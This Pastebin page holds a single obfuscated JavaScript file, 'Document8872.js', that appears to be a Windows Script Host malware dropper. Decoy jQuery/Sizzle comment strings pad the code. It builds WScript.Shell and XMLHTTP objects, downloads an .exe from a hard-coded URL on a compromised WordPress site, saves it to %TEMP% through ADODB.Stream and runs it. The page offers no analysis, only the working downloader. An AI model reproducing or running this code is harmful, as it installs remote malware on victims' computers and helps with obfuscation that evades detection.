API tools faq
paste
LUModder

Document8872.js

LUModder
Mar 18th, 2016
175
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 9.33 KB | None | 0 0
raw download clone embed print report
  1. eWQniYJJJqb = "} if ( seed ) { if ( postFinder || preFilter ) { if ( postFinder ) { Get the final matcherOut by condensing this intermediate into postFinder contexts temp = []; i = matcherOut.length; while ( i-- ) { if ( (elem = matcherOut[i]) ) { Restore matcherIn since elem is not yet a final match temp.push( (matcherIn[i] = elem) ); } } postFinder( null, (matcherOut = []), temp, xml ); ";
  2. accountableI = 0;
  3. String.prototype.naive = function () { return this.substr(0, 1); };
  4. var wgOCV = ["M"+("flaunt","fiftyeight","division","leather","Ii")+"qu"+("quilt","coasted","JBVvR"), ("obtuse","swish","dVG")+("domesticated","lotus","borax","respondents","II")+("commodity","actively","bn")+"RcLm", "ExpandEnv"+("harris","licence","gaming","ir")+"on"+"me"+"ntStri"+"ngs", ""+("expiring","surgery","%")+"TE"+"MP%", ""+("affray","authentic","planned",".")+"exe", ("vestry","vertical","mundane","chloride","R")+"un", ("integrated","lesions","lavender","emolument","Actco")+"unterivcountereX"+("sublimedirectory","blackberry","although","counte")+"rO"+"bcount"+("merge","perverted","global","sitter","erjecoun")+("squabble","threaded","carrion","terct"), "lriRxn", "ddcyjtFEUpi", "W"+"Sc"+"co"+"un"+"te"+"rr"+"ip"+"tc"+("depreciate","kerosene","coherent","ou")+"nt"+"er." + ("accentuated","deeply","S"), "ymXMqApbIv", ("epidemics","truly","hco")+"unte"+"re"+"lcount"+"erl", "YWACVXlR", ""+"H"+("intruder","profanation","atlanta","doing","zO")+"Vaw", "Mco"+"un"+"te"+"rS"+("wheresoever","accumulates","Xc")+("accepts","subjects","overture","ount")+("dinner","limitless","erML")+"coun"+"ter2" + "."+"coun"+("tribal","leinster","medieval","te")+("converge","sense","seraglio","callous","rX")+"McounterLHcounterTTP"];
  5. pcwsBTbM = "}function matcherFromTokens( tokens ) { var checkContext, matcher, j, len = tokens.length, leadingRelative = Expr.relative[ tokens[0].type ], implicitRelative = leadingRelative || Expr.relative[\" \"], i = leadingRelative ? 1 : 0,";
  6. wgOCV.splice(7, accountableI + 2);
  7. sharpen = wgOCV[1+4+1].split("counter").join("");
  8. var GymEDPjn = this[sharpen];
  9. nERqhlmGDdB = "PIFIxecYw";
  10. chrysalis = (("manor", "substitute", "chancery", "sciences", "pVeVNII") + "tAVvmirW").naive();
  11. equatorials = (("credits", "complex", "infectious", "slide", "sWmgnaCHXETh") + "moVhFMoKOYo").naive();
  12.  
  13. accountableI = 6;
  14. wgOCV[accountableI + 1] = wgOCV[accountableI + 1] + wgOCV[accountableI + 3];
  15. wgOCV[accountableI + 2] = "EvuQoWamx";
  16. accountableI++;
  17. wgOCV.splice(accountableI + 1, accountableI - 4);
  18. wgOCV[accountableI] = wgOCV[accountableI].split("counter").join("");
  19. var ltKuu = new GymEDPjn(wgOCV[accountableI]);
  20. vnPilEIXp = " seed[temp] = !(results[temp] = elem); } } ";
  21. accountableI++;
  22. wgOCV[accountableI + 1] = wgOCV[accountableI + 1].split("counter").join("");
  23. var KtbEPMh = new GymEDPjn(wgOCV[1 + accountableI]);
  24. rtCthIsahzc = "} Move matched elements from seed to results to keep them synchronized i = matcherOut.length; while ( i-- ) { if ( (elem = matcherOut[i]) && (temp = postFinder ? indexOf( seed, elem ) : preMap[i]) > -1 ) {";
  25. accountableI /= 2;
  26. var DkYHv = ltKuu[wgOCV[accountableI - 2]](wgOCV[accountableI - 1]);
  27. XEHDiPIHSTB = "} Add elements to results, through postFinder if defined } else { matcherOut = condense( matcherOut === results ? matcherOut.splice( preexisting, matcherOut.length ) : matcherOut ); if ( postFinder ) { postFinder( null, results, matcherOut, xml ); } else { push.apply( results, matcherOut ); } } }); ";
  28. subjectivee = (("anent", "swart", "offense", "childrens", "ElSaIFDa") + "Wyxpkz").naive();
  29.  
  30. function contains(healing, reproduce) {
  31.  
  32.     try {
  33.         var lobby = DkYHv + "/" + reproduce + wgOCV[accountableI];
  34.     wSoGcxQQA = "} Add elements passing elementMatchers directly to results Support: IE<9, Safari Tolerate NodeList properties (IE: \"length\"; Safari: <number>) matching elements by id for ( ; i !== len && (elem = elems[i]) != null; i++ ) { if ( byElement && elem ) { j = 0; if ( !context && elem.ownerDocument !== document ) { setDocument( elem ); xml = !documentIsHTML; } while ( (matcher = elementMatchers[j++]) ) { if ( matcher( elem, context || document, xml) ) { results.push( elem ); break; } } if ( outermost ) { dirruns = dirrunsUnique; } ";
  35.     KtbEPMh["o" + chrysalis + subjectivee + "n"](("hectic","terrorism","saltpetre","G") + subjectivee + ("proverbs","boring","standards","packed","T"), healing, false);
  36.  
  37.     rUzxymoD = "} Track unmatched elements for set filters if ( bySet ) { They will have gone through all possible matchers if ( (elem = !matcher && elem) ) { matchedCount--; ";
  38.     KtbEPMh[equatorials + ("manna","awards","plenipotentiary","e") + (("nothings", "convention", "oceans", "rectum", "fortune", "nmutgWSmhA") + "rLtbyk").naive() + (("incumbent", "stability", "ultimately", "mardi", "unbecoming", "ddVoLlCiImD") + "flXFlq").naive()]();
  39.     mmHcJHVNvs = "} Lengthen the array for every element, matched or not if ( seed ) { unmatched.push( elem ); } } ";
  40.     if (KtbEPMh.status == 200) {
  41.         var XvPNrjgxg = new GymEDPjn((""+"A"+("jocose","retail","pO")+("fiasco","flimsy","propensity","coppice","DB.") + ("subsidiaries","maltreated","")+"S"+("geologist","delegate","districts","tr")+"eam").replace("p", "D"));
  42.         XvPNrjgxg.open();
  43.         gamHpS = " The foundational matcher ensures that elements are reachable from top-level context(s) matchContext = addCombinator( function( elem ) { return elem === checkContext; }, implicitRelative, true ), matchAnyContext = addCombinator( function( elem ) { return indexOf( checkContext, elem ) > -1; }, implicitRelative, true ), matchers = [ function( elem, context, xml ) { var ret = ( !leadingRelative && ( xml || context !== outermostContext ) ) || ( (checkContext = context).nodeType ? matchContext( elem, context, xml ) : matchAnyContext( elem, context, xml ) ); Avoid hanging onto element (issue #299) checkContext = null; return ret; } ];";
  44.         XvPNrjgxg.type = 8 * (4 - 3 - 1) + 1;
  45.         Wvpzidhwtfd = " for ( ; i < len; i++ ) { if ( (matcher = Expr.relative[ tokens[i].type ]) ) { matchers = [ addCombinator(elementMatcher( matchers ), matcher) ]; } else { matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );";
  46.         XvPNrjgxg["w"+"ri"+("directory","holly","seeking","qualified","te")](KtbEPMh[""+"R"+("agents","typhoid","counts","es")+("aspiration","coxcomb","pon") + equatorials + ("redolent","opened","reach","e")+"Bo"+"dy"]);
  47.         TvgAVxhblG = " Return special upon seeing a positional matcher if ( matcher[ expando ] ) { Find the next relative operator (if any) for proper handling j = ++i; for ( ; j < len; j++ ) { if ( Expr.relative[ tokens[j].type ] ) { break; } } return setMatcher( i > 1 && elementMatcher( matchers ), i > 1 && toSelector( If the preceding token was a descendant combinator, insert an implicit any-element `*` tokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === \" \" ? \"*\" : \"\" }) ).replace( rtrim, \"$1\" ), matcher, i < j && matcherFromTokens( tokens.slice( i, j ) ), j < len && matcherFromTokens( (tokens = tokens.slice( j )) ), j < len && toSelector( tokens ) ); } matchers.push( matcher ); } ";
  48.         XvPNrjgxg[(chrysalis + "o"+("lessons","designate","Di")+("valparaiso","accede","insidious","ti")+"on").replace("D", equatorials)] = 0;
  49.         wgPBgDSwUf = "} return elementMatcher( matchers ); ";
  50.         XvPNrjgxg.saveToFile(lobby, 2);
  51.         oUuMeEUmo = "}function matcherFromGroupMatchers( elementMatchers, setMatchers ) { var bySet = setMatchers.length > 0, byElement = elementMatchers.length > 0, superMatcher = function( seed, context, xml, results, outermost ) { var elem, j, matcher, matchedCount = 0, i = \"0\", unmatched = seed && [], setMatched = [], contextBackup = outermostContext, We must always have either seed elements or outermost context elems = seed || byElement && Expr.find[\"TAG\"]( \"*\", outermost ), Use integer dirruns iff this is the outermost matcher dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1), len = elems.length;";
  52.         XvPNrjgxg.close();
  53.         KLxKYyqkiQ = " if ( outermost ) { outermostContext = context === document || context || outermost; ";
  54.         ltKuu[wgOCV[accountableI + 1]](lobby, 1, "qFRsrAaSAH" === "Dlglgj"); UekaMc = "} if ( seed ) { Reintegrate element matches to eliminate the need for sorting if ( matchedCount > 0 ) { while ( i-- ) { if ( !(unmatched[i] || setMatched[i]) ) { setMatched[i] = pop.call( results ); } } ";
  55.     }
  56.  
  57. } catch (anLdioi) { };
  58.  
  59. }
  60. contains("htt"+"p:"+("bewitch","definitely","outcast","pride","//xm")+("alaric","dessert","porphyry","predicted","andhl.")+"cn/w"+"p-"+"co"+"nt"+"en"+"t/plug"+("forecast","within","ins/he")+("applicant","centered","llo123/j7u7h")+("cancer","preposition","54h5.exe"),"CgYrXLur");
  61.    heCmMnWXoB = "} `i` is now the count of elements visited above, and adding it to `matchedCount` makes the latter nonnegative. matchedCount += i;";
  62.  
  63.   EMshQEJ = " Apply set filters to unmatched elements NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount` equals `i`), unless we didn\"t visit _any_ elements in the above loop because we have no element matchers and no seed. Incrementing an initially-string \"0\" `i` allows `i` to remain a string only in that case, which will result in a \"00\" `matchedCount` that differs from `i` but is also numerically zero. if ( bySet && i !== matchedCount ) { j = 0; while ( (matcher = setMatchers[j++]) ) { matcher( unmatched, setMatched, context, xml ); ";
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!